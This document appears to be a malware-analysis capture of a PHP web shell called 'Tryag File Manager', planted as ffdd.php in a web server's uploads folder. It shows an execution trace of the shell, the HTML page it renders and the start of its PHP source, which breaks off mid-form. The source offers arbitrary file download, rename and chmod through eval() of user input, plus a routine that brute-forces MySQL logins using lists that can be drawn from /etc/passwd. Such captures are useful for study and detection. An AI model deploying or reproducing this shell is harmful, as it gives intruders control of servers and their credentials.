3 A /var/www/html/uploads/ffdd.php 515 $info .= 'x'
3 53 1 0.002999 497888
3 53 R 'drwxrwxrwx'
2 A /var/www/html/uploads/ffdd.php 363 $current['perm'] = 'drwxrwxrwx'
3 55 0 0.003024 497888 is_writable 0 /var/www/html/uploads/ffdd.php 364 1 '/var/www/html/uploads/data'
3 55 1 0.003041 497928
3 55 R TRUE
2 A /var/www/html/uploads/ffdd.php 365 $current['permcolor'] = 'green'
2 A /var/www/html/uploads/ffdd.php 372 $result[] = ['fullname' => '/var/www/html/uploads/data', 'name' => 'data', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=', 'size' => '--', 'perm' => 'drwxrwxrwx', 'permcolor' => 'green']
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/ffdd.php'
3 56 0 0.003174 498696 is_dir 0 /var/www/html/uploads/ffdd.php 355 1 '/var/www/html/uploads/ffdd.php'
3 56 1 0.003191 498736
3 56 R FALSE
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/prepend.php'
3 57 0 0.003217 498704 is_dir 0 /var/www/html/uploads/ffdd.php 355 1 '/var/www/html/uploads/prepend.php'
3 57 1 0.003232 498752
3 57 R FALSE
2 42 1 0.003246 497712
2 42 R [0 => ['fullname' => '/var/www/html/uploads/data', 'name' => 'data', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=', 'size' => '--', 'perm' => 'drwxrwxrwx', 'permcolor' => 'green']]
1 A /var/www/html/uploads/ffdd.php 291 $dirs = [0 => ['fullname' => '/var/www/html/uploads/data', 'name' => 'data', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=', 'size' => '--', 'perm' => 'drwxrwxrwx', 'permcolor' => 'green']]
2 58 0 0.003292 498480 g22b_crypt 1 /var/www/html/uploads/ffdd.php 305 2 'data' 'en'
3 59 0 0.003306 498480 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
3 59 1 0.003319 498520
3 59 R TRUE
3 60 0 0.003332 498480 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
3 60 1 0.003345 498520
3 60 R TRUE
3 61 0 0.003357 498480 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 'data'
3 61 1 0.003370 498552
3 61 R 'ZGF0YQ=='
2 58 1 0.003384 498520
2 58 R 'ZGF0YQ=='
2 62 0 0.003398 497712 getfiles 1 /var/www/html/uploads/ffdd.php 314 1 'file'
3 63 0 0.003411 497712 scandir 0 /var/www/html/uploads/ffdd.php 350 1 '/var/www/html/uploads'
3 63 1 0.003437 498336
3 63 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ffdd.php', 5 => 'prepend.php']
2 A /var/www/html/uploads/ffdd.php 350 $dir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ffdd.php', 5 => 'prepend.php']
2 A /var/www/html/uploads/ffdd.php 351 $result = []
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/.'
3 64 0 0.003495 498728 is_file 0 /var/www/html/uploads/ffdd.php 357 1 '/var/www/html/uploads/.'
3 64 1 0.003510 498752
3 64 R FALSE
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/..'
3 65 0 0.003535 498720 is_file 0 /var/www/html/uploads/ffdd.php 357 1 '/var/www/html/uploads/..'
3 65 1 0.003555 498768
3 65 R FALSE
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/.htaccess'
3 66 0 0.003580 498728 is_file 0 /var/www/html/uploads/ffdd.php 357 1 '/var/www/html/uploads/.htaccess'
3 66 1 0.003595 498768
3 66 R TRUE
2 A /var/www/html/uploads/ffdd.php 360 $current['name'] = '.htaccess'
3 67 0 0.003624 498728 g22b_crypt 1 /var/www/html/uploads/ffdd.php 361 2 '/var/www/html/uploads/.htaccess' 'en'
4 68 0 0.003638 498728 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 68 1 0.003651 498768
4 68 R TRUE
4 69 0 0.003664 498728 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 69 1 0.003676 498768
4 69 R TRUE
4 70 0 0.003688 498728 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/var/www/html/uploads/.htaccess'
4 70 1 0.003702 498840
4 70 R 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
3 67 1 0.003718 498808
3 67 R 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2 A /var/www/html/uploads/ffdd.php 361 $current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
3 71 0 0.003749 498808 is_dir 0 /var/www/html/uploads/ffdd.php 362 1 '/var/www/html/uploads/.htaccess'
3 71 1 0.003762 498848
3 71 R FALSE
3 72 0 0.003775 498808 file_size 1 /var/www/html/uploads/ffdd.php 362 1 '/var/www/html/uploads/.htaccess'
4 73 0 0.003788 498808 filesize 0 /var/www/html/uploads/ffdd.php 386 1 '/var/www/html/uploads/.htaccess'
4 73 1 0.003801 498848
4 73 R 64
3 A /var/www/html/uploads/ffdd.php 386 $size = 0.0625
4 74 0 0.003825 498808 round 0 /var/www/html/uploads/ffdd.php 387 2 0.0625 3
4 74 1 0.003838 498880
4 74 R 0.063
3 A /var/www/html/uploads/ffdd.php 387 $size = 0.063
3 A /var/www/html/uploads/ffdd.php 391 $size = '0.063 KB'
3 72 1 0.003874 498848
3 72 R '0.063 KB'
2 A /var/www/html/uploads/ffdd.php 362 $current['size'] = '0.063 KB'
3 75 0 0.003899 498848 perms 1 /var/www/html/uploads/ffdd.php 363 1 '/var/www/html/uploads/.htaccess'
4 76 0 0.003912 498848 fileperms 0 /var/www/html/uploads/ffdd.php 468 1 '/var/www/html/uploads/.htaccess'
4 76 1 0.003925 498888
4 76 R 33188
3 A /var/www/html/uploads/ffdd.php 468 $perms = 33188
3 A /var/www/html/uploads/ffdd.php 478 $info = '-'
3 A /var/www/html/uploads/ffdd.php 497 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 498 $info .= 'w'
3 A /var/www/html/uploads/ffdd.php 501 $info .= '-'
3 A /var/www/html/uploads/ffdd.php 504 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 505 $info .= '-'
3 A /var/www/html/uploads/ffdd.php 508 $info .= '-'
3 A /var/www/html/uploads/ffdd.php 511 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 512 $info .= '-'
3 A /var/www/html/uploads/ffdd.php 515 $info .= '-'
3 75 1 0.004043 498888
3 75 R '-rw-r--r--'
2 A /var/www/html/uploads/ffdd.php 363 $current['perm'] = '-rw-r--r--'
3 77 0 0.004068 498888 is_writable 0 /var/www/html/uploads/ffdd.php 364 1 '/var/www/html/uploads/.htaccess'
3 77 1 0.004085 498928
3 77 R FALSE
3 78 0 0.004099 498888 is_readable 0 /var/www/html/uploads/ffdd.php 366 1 '/var/www/html/uploads/.htaccess'
3 78 1 0.004114 498928
3 78 R TRUE
2 A /var/www/html/uploads/ffdd.php 367 $current['permcolor'] = ''
2 A /var/www/html/uploads/ffdd.php 372 $result[] = ['fullname' => '/var/www/html/uploads/.htaccess', 'name' => '.htaccess', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==', 'size' => '0.063 KB', 'perm' => '-rw-r--r--', 'permcolor' => '']
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/data'
3 79 0 0.004172 499696 is_file 0 /var/www/html/uploads/ffdd.php 357 1 '/var/www/html/uploads/data'
3 79 1 0.004187 499736
3 79 R FALSE
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/ffdd.php'
3 80 0 0.004212 499696 is_file 0 /var/www/html/uploads/ffdd.php 357 1 '/var/www/html/uploads/ffdd.php'
3 80 1 0.004225 499736
3 80 R TRUE
2 A /var/www/html/uploads/ffdd.php 360 $current['name'] = 'ffdd.php'
3 81 0 0.004250 499696 g22b_crypt 1 /var/www/html/uploads/ffdd.php 361 2 '/var/www/html/uploads/ffdd.php' 'en'
4 82 0 0.004267 499696 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 82 1 0.004281 499736
4 82 R TRUE
4 83 0 0.004293 499696 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 83 1 0.004306 499736
4 83 R TRUE
4 84 0 0.004318 499696 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/var/www/html/uploads/ffdd.php'
4 84 1 0.004331 499808
4 84 R 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZmZGQucGhw'
3 81 1 0.004347 499776
3 81 R 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZmZGQucGhw'
2 A /var/www/html/uploads/ffdd.php 361 $current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZmZGQucGhw'
3 85 0 0.004376 499776 is_dir 0 /var/www/html/uploads/ffdd.php 362 1 '/var/www/html/uploads/ffdd.php'
3 85 1 0.004389 499816
3 85 R FALSE
3 86 0 0.004401 499776 file_size 1 /var/www/html/uploads/ffdd.php 362 1 '/var/www/html/uploads/ffdd.php'
4 87 0 0.004413 499776 filesize 0 /var/www/html/uploads/ffdd.php 386 1 '/var/www/html/uploads/ffdd.php'
4 87 1 0.004426 499816
4 87 R 19355
3 A /var/www/html/uploads/ffdd.php 386 $size = 18.9013671875
4 88 0 0.004449 499776 round 0 /var/www/html/uploads/ffdd.php 387 2 18.9013671875 3
4 88 1 0.004462 499848
4 88 R 18.901
3 A /var/www/html/uploads/ffdd.php 387 $size = 18.901
3 A /var/www/html/uploads/ffdd.php 391 $size = '18.901 KB'
3 86 1 0.004498 499816
3 86 R '18.901 KB'
2 A /var/www/html/uploads/ffdd.php 362 $current['size'] = '18.901 KB'
3 89 0 0.004523 499816 perms 1 /var/www/html/uploads/ffdd.php 363 1 '/var/www/html/uploads/ffdd.php'
4 90 0 0.004536 499816 fileperms 0 /var/www/html/uploads/ffdd.php 468 1 '/var/www/html/uploads/ffdd.php'
4 90 1 0.004548 499856
4 90 R 33204
3 A /var/www/html/uploads/ffdd.php 468 $perms = 33204
3 A /var/www/html/uploads/ffdd.php 478 $info = '-'
3 A /var/www/html/uploads/ffdd.php 497 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 498 $info .= 'w'
3 A /var/www/html/uploads/ffdd.php 501 $info .= '-'
3 A /var/www/html/uploads/ffdd.php 504 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 505 $info .= 'w'
3 A /var/www/html/uploads/ffdd.php 508 $info .= '-'
3 A /var/www/html/uploads/ffdd.php 511 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 512 $info .= '-'
3 A /var/www/html/uploads/ffdd.php 515 $info .= '-'
3 89 1 0.004666 499856
3 89 R '-rw-rw-r--'
2 A /var/www/html/uploads/ffdd.php 363 $current['perm'] = '-rw-rw-r--'
3 91 0 0.004690 499856 is_writable 0 /var/www/html/uploads/ffdd.php 364 1 '/var/www/html/uploads/ffdd.php'
3 91 1 0.004706 499896
3 91 R FALSE
3 92 0 0.004719 499856 is_readable 0 /var/www/html/uploads/ffdd.php 366 1 '/var/www/html/uploads/ffdd.php'
3 92 1 0.004734 499896
3 92 R TRUE
2 A /var/www/html/uploads/ffdd.php 367 $current['permcolor'] = ''
2 A /var/www/html/uploads/ffdd.php 372 $result[] = ['fullname' => '/var/www/html/uploads/ffdd.php', 'name' => 'ffdd.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZmZGQucGhw', 'size' => '18.901 KB', 'perm' => '-rw-rw-r--', 'permcolor' => '']
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/prepend.php'
3 93 0 0.004790 500296 is_file 0 /var/www/html/uploads/ffdd.php 357 1 '/var/www/html/uploads/prepend.php'
3 93 1 0.004805 500344
3 93 R TRUE
2 A /var/www/html/uploads/ffdd.php 360 $current['name'] = 'prepend.php'
3 94 0 0.004829 500304 g22b_crypt 1 /var/www/html/uploads/ffdd.php 361 2 '/var/www/html/uploads/prepend.php' 'en'
4 95 0 0.004843 500304 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 95 1 0.004856 500344
4 95 R TRUE
4 96 0 0.004869 500304 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 96 1 0.004882 500344
4 96 R TRUE
4 97 0 0.004894 500304 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/var/www/html/uploads/prepend.php'
4 97 1 0.004907 500416
4 97 R 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
3 94 1 0.004924 500384
3 94 R 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2 A /var/www/html/uploads/ffdd.php 361 $current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
3 98 0 0.004959 500384 is_dir 0 /var/www/html/uploads/ffdd.php 362 1 '/var/www/html/uploads/prepend.php'
3 98 1 0.004972 500424
3 98 R FALSE
3 99 0 0.004986 500384 file_size 1 /var/www/html/uploads/ffdd.php 362 1 '/var/www/html/uploads/prepend.php'
4 100 0 0.004999 500384 filesize 0 /var/www/html/uploads/ffdd.php 386 1 '/var/www/html/uploads/prepend.php'
4 100 1 0.005012 500424
4 100 R 57
3 A /var/www/html/uploads/ffdd.php 386 $size = 0.0556640625
4 101 0 0.005035 500384 round 0 /var/www/html/uploads/ffdd.php 387 2 0.0556640625 3
4 101 1 0.005049 500456
4 101 R 0.056
3 A /var/www/html/uploads/ffdd.php 387 $size = 0.056
3 A /var/www/html/uploads/ffdd.php 391 $size = '0.056 KB'
3 99 1 0.005083 500424
3 99 R '0.056 KB'
2 A /var/www/html/uploads/ffdd.php 362 $current['size'] = '0.056 KB'
3 102 0 0.005109 500424 perms 1 /var/www/html/uploads/ffdd.php 363 1 '/var/www/html/uploads/prepend.php'
4 103 0 0.005122 500424 fileperms 0 /var/www/html/uploads/ffdd.php 468 1 '/var/www/html/uploads/prepend.php'
4 103 1 0.005135 500464
4 103 R 33261
3 A /var/www/html/uploads/ffdd.php 468 $perms = 33261
3 A /var/www/html/uploads/ffdd.php 478 $info = '-'
3 A /var/www/html/uploads/ffdd.php 497 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 498 $info .= 'w'
3 A /var/www/html/uploads/ffdd.php 501 $info .= 'x'
3 A /var/www/html/uploads/ffdd.php 504 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 505 $info .= '-'
3 A /var/www/html/uploads/ffdd.php 508 $info .= 'x'
3 A /var/www/html/uploads/ffdd.php 511 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 512 $info .= '-'
3 A /var/www/html/uploads/ffdd.php 515 $info .= 'x'
3 102 1 0.005255 500464
3 102 R '-rwxr-xr-x'
2 A /var/www/html/uploads/ffdd.php 363 $current['perm'] = '-rwxr-xr-x'
3 104 0 0.005280 500464 is_writable 0 /var/www/html/uploads/ffdd.php 364 1 '/var/www/html/uploads/prepend.php'
3 104 1 0.005296 500504
3 104 R FALSE
3 105 0 0.005310 500464 is_readable 0 /var/www/html/uploads/ffdd.php 366 1 '/var/www/html/uploads/prepend.php'
3 105 1 0.005325 500504
3 105 R TRUE
2 A /var/www/html/uploads/ffdd.php 367 $current['permcolor'] = ''
2 A /var/www/html/uploads/ffdd.php 372 $result[] = ['fullname' => '/var/www/html/uploads/prepend.php', 'name' => 'prepend.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw', 'size' => '0.056 KB', 'perm' => '-rwxr-xr-x', 'permcolor' => '']
2 62 1 0.005371 499992
2 62 R [0 => ['fullname' => '/var/www/html/uploads/.htaccess', 'name' => '.htaccess', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==', 'size' => '0.063 KB', 'perm' => '-rw-r--r--', 'permcolor' => ''], 1 => ['fullname' => '/var/www/html/uploads/ffdd.php', 'name' => 'ffdd.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZmZGQucGhw', 'size' => '18.901 KB', 'perm' => '-rw-rw-r--', 'permcolor' => ''], 2 => ['fullname' => '/var/www/html/uploads/prepend.php', 'name' => 'prepend.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw', 'size' => '0.056 KB', 'perm' => '-rwxr-xr-x', 'permcolor' => '']]
1 A /var/www/html/uploads/ffdd.php 314 $files = [0 => ['fullname' => '/var/www/html/uploads/.htaccess', 'name' => '.htaccess', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==', 'size' => '0.063 KB', 'perm' => '-rw-r--r--', 'permcolor' => ''], 1 => ['fullname' => '/var/www/html/uploads/ffdd.php', 'name' => 'ffdd.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZmZGQucGhw', 'size' => '18.901 KB', 'perm' => '-rw-rw-r--', 'permcolor' => ''], 2 => ['fullname' => '/var/www/html/uploads/prepend.php', 'name' => 'prepend.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw', 'size' => '0.056 KB', 'perm' => '-rwxr-xr-x', 'permcolor' => '']]
2 106 0 0.005440 500888 g22b_crypt 1 /var/www/html/uploads/ffdd.php 332 2 '.htaccess' 'en'
3 107 0 0.005453 500888 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
3 107 1 0.005466 500928
3 107 R TRUE
3 108 0 0.005479 500888 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
3 108 1 0.005492 500928
3 108 R TRUE
3 109 0 0.005505 500888 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '.htaccess'
3 109 1 0.005517 500968
3 109 R 'Lmh0YWNjZXNz'
2 106 1 0.005532 500936
2 106 R 'Lmh0YWNjZXNz'
2 110 0 0.005547 500888 g22b_crypt 1 /var/www/html/uploads/ffdd.php 332 2 'ffdd.php' 'en'
3 111 0 0.005560 500888 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
3 111 1 0.005573 500928
3 111 R TRUE
3 112 0 0.005585 500888 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
3 112 1 0.005598 500928
3 112 R TRUE
3 113 0 0.005610 500888 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 'ffdd.php'
3 113 1 0.005623 500968
3 113 R 'ZmZkZC5waHA='
2 110 1 0.005637 500936
2 110 R 'ZmZkZC5waHA='
2 114 0 0.005656 500888 g22b_crypt 1 /var/www/html/uploads/ffdd.php 332 2 'prepend.php' 'en'
3 115 0 0.005669 500888 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
3 115 1 0.005682 500928
3 115 R TRUE
3 116 0 0.005694 500888 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
3 116 1 0.005706 500928
3 116 R TRUE
3 117 0 0.005727 500888 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 'prepend.php'
3 117 1 0.005740 500968
3 117 R 'cHJlcGVuZC5waHA='
2 114 1 0.005755 500936
2 114 R 'cHJlcGVuZC5waHA='
1 3 1 0.005913 499992
0.005949 363296
TRACE END [2023-02-12 19:26:21.158601]
<html><head>
<title>Tryag File Manager</title>
<meta name="robots" content="noindex">
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
margin: 0;
}
#container{
width: 700px;
margin: 20px auto;
border: 1px solid black;
}
@font-face {
font-family: 'Racing Sans One';
font-style: normal;
font-weight: 400;
src: local('Racing Sans One'), local('RacingSansOne-Regular'), url(http://g22b.cc/upload/1r3DpWaCiT7y3PD4KgkNyK3fkYX5z1QtDUdIWoaaD_k.woff) format('woff');
}
#header{
text-align: center;
border-bottom: 1px dotted black;
}
#header h1{
margin: 0;
}
#nav,#menu{
padding-top: 5px;
margin-left: 5px;
padding-bottom: 5px;
overflow: hidden;
border-bottom: 1px dotted black;
}
#nav{
margin-bottom: 10px;
}
#menu{
text-align: center;
}
#content{
margin: 0;
}
#content table{
width: 700px;
margin: 0px;
}
#content table .first{
background-color: silver;
text-align: center;
}
#content table .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
#content table tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#footer{
margin-top: 10px;
border-top: 1px dotted black;
}
#footer p{
margin: 5px;
text-align: center;
}
.filename,a{
color: #000;
text-decoration: none;
cursor: pointer;
}
.filename:hover,a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
.center{
text-align: center;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
<script>
function Encoder(name)
{
var e = document.getElementById(name);
e.value = btoa(e.value);
return true;
}
</script>
</head>
<body>
<div id="container">
<div id="header"><h1>Tryag File Manager</h1></div>
<div id="menu"><a href="?path=L3Zhci93d3cvaHRtbA==">Home</a> - <a href="?path=L3Zhci93d3cvaHRtbA==&cpanel">Turbo Force</a></div>
<div id="nav">
<div class="path">Current Path : <a href="?path=Lw==">/</a><a href="?path=L3Zhcg==">var</a>/<a href="?path=L3Zhci93d3c=">www</a>/<a href="?path=L3Zhci93d3cvaHRtbA==">html</a>/</div>
<div class="upload">
<form enctype="multipart/form-data" method="POST" action="?path=L3Zhci93d3cvaHRtbA==&up">
Upload File : <input type="file" name="file">
<input type="submit" value="upload">
</form>
</div>
<div class="new">
<form method="POST" action="?path=L3Zhci93d3cvaHRtbA==&new" onsubmit="Encoder('c')">
<span>New : </span><input name="name" type="text" size="10" id="c">
File <input type="radio" name="type" value="file" checked="">
Dir <input type="radio" name="type" value="dir">
<input type="submit" value="Create">
</form>
</div>
</div>
<div id="content"><div class="center"></div><div id="files">
</div><div id="files">
</div><table>
<tbody><tr class="first">
<td>Name</td>
<td>Size</td>
<td>Permissions</td>
<td>Options</td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?path=L3Zhci93d3cvaHRtbA==&filesrc=L3Zhci93d3cvaHRtbC9iZW5lcmkuc2VfbWFsd2FyZV9hbmFseXNpcw=="><div class="filename">beneri.se_malware_analysis</div></a></td>
<td class="center">0 KB</td>
<td class="center"><font color="">-rw-r--r--</font></td>
<td class="center"><form method="POST" action="?path=L3Zhci93d3cvaHRtbA==&option">
<select name="opt">
<option value=""></option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
<option value="download">Download</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="YmVuZXJpLnNlX21hbHdhcmVfYW5hbHlzaXM=">
<input type="hidden" name="path" value="L3Zhci93d3cvaHRtbC9iZW5lcmkuc2VfbWFsd2FyZV9hbmFseXNpcw==">
<input type="submit" value=">">
</form></td>
</tr><tr>
<td><a href="?path=L3Zhci93d3cvaHRtbA==&filesrc=L3Zhci93d3cvaHRtbC9mZmRkLnBocA=="><div class="filename">ffdd.php</div></a></td>
<td class="center">18.901 KB</td>
<td class="center"><font color="">-rw-rw-r--</font></td>
<td class="center"><form method="POST" action="?path=L3Zhci93d3cvaHRtbA==&option">
<select name="opt">
<option value=""></option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
<option value="download">Download</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="ZmZkZC5waHA=">
<input type="hidden" name="path" value="L3Zhci93d3cvaHRtbC9mZmRkLnBocA==">
<input type="submit" value=">">
</form></td>
</tr></tbody></table></div>
<div id="footer"><p>Tryag File Manager Version <font color="red">2.0</font>, Coded By <font color="red">G-B</font><br>Email: <font color="red">anonymousiq87@gmail.com</font></p></div>
</div>
</body></html>
<?php
error_reporting(0);
set_time_limit(0);
extract(start());
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
$_POST['path'] = (isset($_POST['path'])) ? g22b_crypt($_POST['path'],'de') : false;
$_POST['name'] = (isset($_POST['name'])) ? g22b_crypt($_POST['name'],'de') : false;
if(isset($_GET['option']) && $_POST['opt'] == 'download'){
header('Content-type: text/plain');
header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
echo(file_get_contents($_POST['path']));
exit();
}
echo '<!DOCTYPE html>
<html>
<head>
<title>Tryag File Manager</title>
<meta name="robots" content="noindex" />
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
margin: 0;
}
#container{
width: 700px;
margin: 20px auto;
border: 1px solid black;
}
@font-face {
font-family: \'Racing Sans One\';
font-style: normal;
font-weight: 400;
src: local(\'Racing Sans One\'), local(\'RacingSansOne-Regular\'), url(http://g22b.cc/upload/1r3DpWaCiT7y3PD4KgkNyK3fkYX5z1QtDUdIWoaaD_k.woff) format(\'woff\');
}
#header{
text-align: center;
border-bottom: 1px dotted black;
}
#header h1{
margin: 0;
}
#nav,#menu{
padding-top: 5px;
margin-left: 5px;
padding-bottom: 5px;
overflow: hidden;
border-bottom: 1px dotted black;
}
#nav{
margin-bottom: 10px;
}
#menu{
text-align: center;
}
#content{
margin: 0;
}
#content table{
width: 700px;
margin: 0px;
}
#content table .first{
background-color: silver;
text-align: center;
}
#content table .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
#content table tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#footer{
margin-top: 10px;
border-top: 1px dotted black;
}
#footer p{
margin: 5px;
text-align: center;
}
.filename,a{
color: #000;
text-decoration: none;
cursor: pointer;
}
.filename:hover,a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
.center{
text-align: center;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
<script>
function Encoder(name)
{
var e = document.getElementById(name);
e.value = btoa(e.value);
return true;
}
</script>
</head>
<body>
<div id="container">
<div id="header"><h1>Tryag File Manager</h1></div>
<div id="menu"><a href="?path='.$currentpathen.'">Home</a> - <a href="?path='.$currentpathen.'&cpanel">Turbo Force</a></div>
<div id="nav">
<div class="path">Current Path : '.nav_link().'</div>
<div class="upload">
<form enctype="multipart/form-data" method="POST" action="?path='.$currentpathen.'&up">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</div>
<div class="new">
<form method="POST" action="?path='.$currentpathen.'&new" onSubmit="Encoder(\'c\')">
<span>New : </span><input name="name" type="text" size="10" id="c" />
File <input type="radio" name="type" value="file" checked/>
Dir <input type="radio" name="type" value="dir" />
<input type="submit" value="Create" />
</form>
</div>
</div>
<div id="content">';
if(isset($_GET['cpanel'])){
if(isset($_POST['usernames']) && isset($_POST['passwords'])){
$usernames = base64_decode($_POST['usernames']);
$passwords = base64_decode($_POST['passwords']);
$count = 0;
foreach(explode("\n",$usernames) as $username){
$username = ($_POST['type'] == 'simple') ? $username : passwdtouser($username);
foreach(explode("\n",$passwords) as $password){
$username = trim($username);
$password = trim($password);
$co = mysql_connect('localhost',$username,$password);
if($co){
mysql_close($co);
echo "Tryag~ Username (<font color=red>$username</font>) Password (<font color=red>$password</font>)<br />";
$count++;
}
}
}
echo "$count Usernames Founded.";
}else{
echo '<form method="POST" onSubmit="Encoder(\'c\');Encoder(\'b\');">
Usernames : <br />
<textarea cols=84 rows=10 id="c" name="usernames"></textarea><br />
Passwords : <br />
<textarea cols=84 rows=10 id="b" name="passwords"></textarea><br />
Usernames Type : Simple : <input type="radio" name="type" value="simple" checked="checked"> - /etc/passwd : <input type="radio" name="type" value="pass">
<br /><input type="submit" value="Go">
</form>';
}
}else{
if(isset($_GET['filesrc'])){
$file = g22b_crypt($_GET['filesrc'],'de');
echo '<div class="center">'.htmlspecialchars($file).'</div><textarea cols="84" rows="25">'.filesrc($file).'</textarea></pre>';
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete' || (isset($_GET['new']) && $_POST['type'] == 'file')){
echo '<div class="center">'.$_POST['name'].'<br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
eval('$perm = '.$_POST['perm'].';');
if(chmod($_POST['path'],$perm)){
echo '<font color="green">Change Permission Done.</font><br />';
$permdone = true;
}else{
echo '<font color="red">Change Permission Error.</font><br />';
}
}
if($permdone){
$perm = $_POST['perm'];
}else{
$perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.$perm.'" />
<input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
<input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){
echo '<font color="green">Change Name Done.</font><br />';
$_POST['name'] = $_POST['newname'];
}else{
echo '<font color="red">Change Name Error.</font><br />';
}
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
